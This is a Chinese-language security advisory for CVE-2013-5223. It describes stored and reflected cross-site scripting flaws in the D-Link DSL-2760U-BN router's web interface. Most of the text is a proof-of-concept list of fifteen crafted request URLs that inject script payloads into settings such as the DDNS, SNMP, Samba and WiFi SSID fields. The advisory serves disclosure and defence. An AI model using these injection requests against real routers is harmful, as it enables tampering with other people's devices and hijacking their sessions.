D-Link DSL-2760U-BN 多个跨站脚本和HTML注入漏洞


发布日期：2013-11-10
更新日期：2013-11-17

受影响系统：
D-Link DSL-2760U-BN
描述：
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BUGTRAQ  ID: 63648
CVE(CAN) ID: CVE-2013-5223

D-Link 2760N是款路由器产品。

D-Link 2760N在Web UI的不同节段实现上存在多个存储型和反射型跨站脚本漏洞，成功利用后可导致在受影响浏览器上下文中执行HTML和脚本代码。

<*来源：Liad Mizrachi
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

==========================
PoC
==========================


1) NTS Settings
http://www.example.com/sntpcfg.cgi?ntp_enabled=1&ntpServer1=locahost%22;alert%28%27XSS%27%29;//&ntpServer2=time-nw.nist.gov&ntpServer3=&ntpServer4=&ntpServer5=&timezone_offset=+02:00&timezone=Jerusalem&use_dst=0

2) Dynamic DNS (Reflected/Stored)
http://www.example.com/ddnsmngr.cmd?action=add&service=1&hostname=aaaa&username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e&password=zzzzzz&iface=ppp0

3)Parental Control
http://www.example.com/todmngr.tod?action=add&username=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&mac=f1:de:f1:ab:cb:6d&days=1&start_time=571&end_time=732

4) URL Filtering
http://www.example.com/urlfilter.cmd?action=set_url&TodUrlAdd=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&port_num=80

5) NAT - Port Triggering
http://www.example.com/scprttrg.cmd?action=add&appName=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&dstWanIf=ppp0&tStart=1111,&tEnd=1112,&tProto=1,&oStart=11,&oEnd=11,&oProto=1,

6) IP Filtering:
http://www.example.com/scoutflt.cmd?action=add&fltName=<script>alert('XSS')</script>&protocol=1&srcAddr=10.0.0.10&srcMask=255.255.255.0&srcPort=80&dstAddr=10.0.0.12&dstMask=255.255.255.0&dstPort=8080

7) IP Filtering - Removal Error:
http://www.example.com/scoutflt.cmd?action=remove&rmLst=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E

8) Interface Grouping (also reflected on "Local Area Network (LAN) Setup"):
http://www.example.com/portmapcfg.cmd?action=add&groupName=<Script>alert('XSS')</script>&choiceBox=|usb0|wl0|&wanIfName=atm1

9) SNMP
http://www.example.com/snmpconfig.cgi?snmpStatus=1&snmpRoCommunity=%27;alert(%27XSS%27)&snmpRwCommunity=private&snmpSysName=D-LINK&snmpSysContact=unknown&snmpSysLocation=unknown&snmpTrapIp=0.0.0.0

10) Incoming IP Filter:
http://www.example.com/scinflt.cmd?action=add&wanIf=ppp0&fltName=<script>alert('XSS&protocol=2&srcAddr=SS')</script>&srcMask=255.255.255.0&srcPort=80&dstAddr=10.0.0.10&dstMask=255.255.255.0&dstPort=8080

11) Policy Routing Add:
http://www.example.com/prmngr.cmd?action=add&PolicyName=<script>alert('X&SourceIp=SS');</script>&lanIfcName=wl0&wanIf=ppp0&defaultgw=10.0.0.111

12)Policy Routing -Removal Error:
http://www.example.com/prmngr.cmd?action=remove&rmLst=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E

13) Printer Server
http://www.example.com/ippcfg.cmd?action=savapply&ippEnabled=1&ippMake=aa&ippName=aa";alert('XSS-Printer-Sever');//

14) SAMBA Configuration
http://www.example.com/samba.cgi?enableSmb=1&smbNetBiosName=';var x="XSS";//&smbDirName=b';alert(x);//&smbUtf8DirName=bbb&smbCharset=utf8&smbUnplug=nolug=no
OR
http://www.example.com/samba.cgi?enableSmb=1&smbNetBiosName=';alert("SAMBA-X&smbDirName=SS");//&smbUtf8DirName=bbb&smbCharset=utf8&smbUnplug=nolug=no

15) WiFi SSID
Step 1 (Create XSS as Wireless SSID):
http://www.example.com/wlcfg.wl?wlSsidIdx=0&wlEnbl=1&wlHide=0&wlAPIsolation=0&wlSsid=%3CScript%3Ealert(%27XSSID%27)%3C/script%3E&wlCountry=IL&wlMaxAssoc=16&wlDisableWme=0&wlEnableWmf=0&wlEnbl_wl0v1=0&wlSsid_wl0v1=wl0_Guest1&wlHide_wl0v1=0&wlAPIsolation_wl0v1=0&wlDisableWme_wl0v1=0&wlEnableWmf_wl0v1=0&wlMaxAssoc_wl0v1=16&wlEnbl_wl0v2=0&wlSsid_wl0v2=wl0_Guest2&wlHide_wl0v2=0&wlAPIsolation_wl0v2=0&wlDisableWme_wl0v2=0&wlEnableWmf_wl0v2=0&wlMaxAssoc_wl0v2=16&wlEnbl_wl0v3=0&wlSsid_wl0v3=wl0_Guest3&wlHide_wl0v3=0&wlAPIsolation_wl0v3=0&wlDisableWme_wl0v3=0&wlEnableWmf_wl0v3=0&wlMaxAssoc_wl0v3=16

Step 2:
Goto the Wireless -> Security [http://www.example.com/wlsecurity.html]
OR
Goto the Wireless -> MAC Filter [http://
www.example.com/wlmacflt.cmd?action=view]

建议：
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厂商补丁：

D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/


http://www.dlink.com
http://www.dlink.com.tr/en/arts/117.html
http://www.netcheif.com/downloads/DSL-2760U_user_manual.pdf

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